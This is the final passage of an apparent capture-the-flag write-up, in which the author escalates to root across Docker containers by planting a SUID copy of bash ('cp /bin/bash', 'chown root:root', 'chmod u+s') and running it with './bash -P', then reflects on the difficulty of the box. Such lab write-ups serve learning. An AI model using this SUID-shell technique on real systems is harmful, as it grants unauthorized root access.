With the while loop running, I had to wait a few seconds - but sure enough, bash appeared in the /tmp/ of game-tester running it with ./bash -P gave me a docker root shell access. No flags on this container, so we needed to apply the same methodology but then in reverse to get the root flag via Drew. Since this shell had root access, with a simple cp /bin/bash bash and a chown root:root bash finished with chmod u+s bash when going back to Drew and re-running the ./bash -P gave us the root flag.

Conclusion

This box was extremely hard, and I couldn’t have finished with the help of some friends; specifically jumping from Docker to Docker container was something I had very little experience in. Doing this box taught me a lot about Python, and the debugging of Python code.